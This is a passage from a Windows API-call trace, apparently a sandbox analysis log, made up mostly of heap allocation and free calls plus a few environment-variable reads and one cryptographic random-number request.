hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6ed0 | out: hHeap=0x5b0000) returned 1 [0034.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbeb0 | out: hHeap=0x5b0000) returned 1 [0034.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbf98 | out: hHeap=0x5b0000) returned 1 [0034.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606a50 | out: hHeap=0x5b0000) returned 1 [0034.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0034.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2150 | out: hHeap=0x5b0000) returned 1 [0034.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc550 | out: hHeap=0x5b0000) returned 1 [0034.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606b58 | out: hHeap=0x5b0000) returned 1 [0034.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc638 | out: hHeap=0x5b0000) returned 1 [0034.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cdc0 | out: hHeap=0x5b0000) returned 1 [0034.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cea8 | out: hHeap=0x5b0000) returned 1 [0034.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d1760 | out: hHeap=0x5b0000) returned 1 [0034.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d1868 | out: hHeap=0x5b0000) returned 1 [0034.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d7858 | out: hHeap=0x5b0000) returned 1 [0034.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d1950 | out: hHeap=0x5b0000) returned 1 [0034.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0034.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0034.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d81a0 | out: hHeap=0x5b0000) returned 1 [0034.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c860 | out: hHeap=0x5b0000) returned 1 [0034.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c928 | out: hHeap=0x5b0000) returned 1 [0034.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8278 | out: hHeap=0x5b0000) returned 1 [0034.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0034.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x610688 | out: hHeap=0x5b0000) returned 1 [0034.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x610740 | out: hHeap=0x5b0000) returned 1 [0034.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x610808 | out: hHeap=0x5b0000) returned 1 [0034.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6108d0 | out: hHeap=0x5b0000) returned 1 [0034.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8350 | out: hHeap=0x5b0000) returned 1 [0034.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x610998 | out: hHeap=0x5b0000) returned 1 [0034.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8428 | out: hHeap=0x5b0000) returned 1 [0034.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0034.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8500 | out: hHeap=0x5b0000) returned 1 [0034.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2918 | out: hHeap=0x5b0000) returned 1 [0034.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d29e0 | out: hHeap=0x5b0000) returned 1 [0034.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d85d8 | out: hHeap=0x5b0000) returned 1 [0034.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d86b0 | out: hHeap=0x5b0000) returned 1 [0034.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8788 | out: hHeap=0x5b0000) returned 1 [0034.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2a98 | out: hHeap=0x5b0000) returned 1 [0034.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2b60 | out: hHeap=0x5b0000) returned 1 [0034.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2d70020 | out: hHeap=0x5b0000) returned 1 [0034.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d1aa0 | out: hHeap=0x5b0000) returned 1 [0034.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d08b0 | out: hHeap=0x5b0000) returned 1 [0034.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9290 | out: hHeap=0x5b0000) returned 1 [0034.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d3f8 | out: hHeap=0x5b0000) returned 1 [0034.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5f7630 | out: hHeap=0x5b0000) returned 1 [0034.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2ea0020 | out: hHeap=0x5b0000) returned 1 [0034.760] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x5c75b8 [0034.760] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5eb768 | out: hHeap=0x5b0000) returned 1 [0034.760] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5f7630 [0034.760] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b478 [0034.760] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d3f8 [0034.760] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5cb6c8 [0034.760] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d3d0 [0034.760] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d3f8 | out: hHeap=0x5b0000) returned 1 [0034.760] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5eb768 [0034.760] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5e12f0 [0034.760] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5eb9d0 [0034.760] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0034.760] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5eb768 | out: hHeap=0x5b0000) returned 1 [0034.761] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5eb768 [0034.761] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x48) returned 0x5ddc50 [0034.761] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5eb978 [0034.761] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e12f0 | out: hHeap=0x5b0000) returned 1 [0034.761] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5eb768 | out: hHeap=0x5b0000) returned 1 [0034.761] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d3f8 [0034.761] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b4e0 [0034.761] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d3a8 [0034.761] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ddc50 | out: hHeap=0x5b0000) returned 1 [0034.761] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d3f8 | out: hHeap=0x5b0000) returned 1 [0034.761] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20023) returned 0x619210 [0034.761] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x619220, nSize=0xffff | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x1d [0034.761] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b548 [0034.761] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x601838 [0034.761] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b4e0 | out: hHeap=0x5b0000) returned 1 [0034.761] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b4e0 [0034.761] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x606160 [0034.761] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd8) returned 0x5e9ca0 [0034.761] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0034.761] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5eb768 [0034.761] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5eb920 [0034.761] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5eb8c8 [0034.761] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x138) returned 0x5cc8d0 [0034.761] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9ca0 | out: hHeap=0x5b0000) returned 1 [0034.762] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5eb7c0 [0034.762] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5eb870 [0034.762] GetEnvironmentVariableW (in: lpName="SYSTEMDRIVE", lpBuffer=0x18fc98, nSize=0x32 | out: lpBuffer="C:") returned 0x2 [0034.762] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d3f8 [0034.762] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d380 [0034.762] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c8) returned 0x5d6de8 [0034.762] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc8d0 | out: hHeap=0x5b0000) returned 1 [0034.762] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d330 [0034.762] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5e12f0 [0034.762] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d358 [0034.762] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x619210 | out: hHeap=0x5b0000) returned 1 [0034.762] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x5c7600 [0034.762] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b5b0 [0034.762] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7600 | out: hHeap=0x5b0000) returned 1 [0034.762] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x124fa3) returned 0x2d70020 [0034.762] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d1aa0 [0034.765] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x5cc8d0 [0034.765] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d290 [0034.765] CryptAcquireContextA (in: phProv=0x18fc98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x18fc98*=0x60c5e8) returned 1 [0034.766] CryptGenRandom (in: hProv=0x5e61c8, dwLen=0x20, pbBuffer=0x60d290 | out: pbBuffer=0x60d290) returned 1 [0034.766] CryptReleaseContext (hProv=0x60c5e8, dwFlags=0x0) returned 1 [0034.769] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d290 | out: hHeap=0x5b0000) returned 1 [0034.769] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d290 [0034.769] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0034.769] QueryPerformanceCounter (in: lpPerformanceCount=0x18fbf0 | out: lpPerformanceCount=0x18fbf0*=17663985212) returned 1 [0034.771] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fc30 | out: lpSystemTimeAsFileTime=0x18fc30*(dwLowDateTime=0xa5a4e480, dwHighDateTime=0x1d5e09d)) [0034.774] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x5c7600 [0034.774] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb6c8 [0034.774] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb8c8 [0034.777] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d49a0 [0034.777] GetLastError () returned 0x0 [0034.777] SetLastError (dwErrCode=0x0) [0034.777] GetLastError () returned 0x0 [0034.777] SetLastError (dwErrCode=0x0) [0034.777] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0034.777] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0034.778] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0034.778] GetLastError () returned 0x0 [0034.778] SetLastError (dwErrCode=0x0) [0034.778] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0034.778] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0034.778] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b618 [0034.780] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0034.780] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x5e9290 [0034.780] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0034.780] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d470 [0034.780] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0034.781] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0034.781] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d4e8 [0034.781] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0034.781] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d4c0 [0034.781] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x5d5f30 [0034.781] GetLastError () returned 0x0 [0034.781] SetLastError (dwErrCode=0x0) [0034.781] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0034.783] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1b) returned 0x60d5b0 [0034.783] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1b) returned 0x60d5d8 [0034.783] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c00 [0034.784] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4cf0 [0034.784] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4d00 [0034.784] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4cf0 | out: hHeap=0x5b0000) returned 1 [0034.784] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4cf0 [0034.784] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d00 | out: hHeap=0x5b0000) returned 1 [0034.784] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c00 | out: hHeap=0x5b0000) returned 1 [0034.784] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c00 [0034.784] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x6069b0 [0034.784] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c00 | out: hHeap=0x5b0000) returned 1 [0034.784] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x606998 [0034.784] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6069b0 | out: hHeap=0x5b0000) returned 1 [0034.784] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4cf0 | out: hHeap=0x5b0000) returned 1 [0034.784] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x6069b0 [0034.784] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x6069c8 [0034.784] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6069b0 | out: hHeap=0x5b0000) returned 1 [0034.784] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x6069b0 [0034.784] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6069c8 | out: hHeap=0x5b0000) returned 1 [0034.784] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606998 | out: hHeap=0x5b0000) returned 1 [0034.784] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606998 [0034.784] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5cb8c8 [0034.784] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606998 | out: hHeap=0x5b0000) returned 1 [0034.784] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb6c8 [0034.784] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0034.784] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6069b0 | out: hHeap=0x5b0000) returned 1 [0034.784] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb8c8 [0034.784] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d510 [0034.784] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0034.784] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5cb8c8 [0034.784] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d510 | out: hHeap=0x5b0000) returned 1 [0034.784] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0034.784] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5cb6c8 [0034.784] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x24) returned 0x606cd8 [0034.784] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0034.784] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d510 [0034.784] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606cd8 | out: hHeap=0x5b0000) returned 1 [0034.784] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0034.784] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4cf0 [0034.784] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x6069b0 [0034.785] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4cf0 | out: hHeap=0x5b0000) returned 1 [0034.785] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606998 [0034.785] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6069b0 | out: hHeap=0x5b0000) returned 1 [0034.785] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5cb8c8 [0034.785] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606998 | out: hHeap=0x5b0000) returned 1 [0034.785] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x24) returned 0x606cd8 [0034.785] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0034.785] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606cd8 | out: hHeap=0x5b0000) returned 1 [0034.785] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d510 | out: hHeap=0x5b0000) returned 1 [0034.787] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0034.787] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x113) returned 0x606a50 [0034.787] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9290 | out: hHeap=0x5b0000) returned 1 [0034.787] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0034.787] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x113) returned 0x5cbeb0 [0034.788] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbeb0 | out: hHeap=0x5b0000) returned 1 [0034.788] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x113) returned 0x5cbeb0 [0034.788] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x113) returned 0x5d2058 [0034.788] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbeb0 | out: hHeap=0x5b0000) returned 1 [0034.788] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0034.788] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x5e9290 [0034.788] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x113) returned 0x5cbeb0 [0034.788] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbeb0 | out: hHeap=0x5b0000) returned 1 [0034.788] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x113) returned 0x5cbeb0 [0034.788] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbeb0 | out: hHeap=0x5b0000) returned 1 [0034.788] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x5cbeb0 [0034.788] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x113) returned 0x5d2058 [0034.788] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0034.788] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x5e9ca0 [0034.833] QueryPerformanceCounter (in: lpPerformanceCount=0x18fa10 | out: lpPerformanceCount=0x18fa10*=17670447194) returned 1 [0034.833] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fa50 | out: lpSystemTimeAsFileTime=0x18fa50*(dwLowDateTime=0xa5ae6a00, dwHighDateTime=0x1d5e09d)) [0034.833] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4cf0 [0034.833] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d448 [0034.833] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb8c8 [0034.834] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0034.834] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0034.834] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d448 [0034.834] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb8c8 [0034.834] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0034.834] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0034.834] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4cf0 | out: hHeap=0x5b0000) returned 1 [0034.834] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9ca0 | out: hHeap=0x5b0000) returned 1 [0034.834] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0034.834] GetLastError () returned 0x0 [0034.834] SetLastError (dwErrCode=0x0) [0034.834] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0034.834] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x113) returned 0x5d2058 [0034.834] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x113) returned 0x60cdc0 [0034.834] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x113) returned 0x5cc550 [0034.834] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1b) returned 0x60d448 [0034.860] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1b) returned 0x60d5b0 [0034.860] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x113) returned 0x5d1760 [0034.860] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x113) returned 0x5d1880 [0034.860] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1b) returned 0x60d510 [0034.860] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x113) returned 0x60c798 [0034.860] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x513) returned 0x6105c0 [0034.863] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x113) returned 0x60c8b8 [0034.863] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x213) returned 0x5d2850 [0034.863] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c8b8 | out: hHeap=0x5b0000) returned 1 [0034.863] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x213) returned 0x615450 [0034.863] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0034.863] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1b) returned 0x60d538 [0034.863] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1b) returned 0x60d560 [0034.863] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d538 | out: hHeap=0x5b0000) returned 1 [0034.863] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x113) returned 0x60c8b8 [0034.863] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d560 | out: hHeap=0x5b0000) returned 1 [0034.863] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x213) returned 0x615228 [0034.863] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x52b) returned 0x5d2850 [0034.863] HeapFree 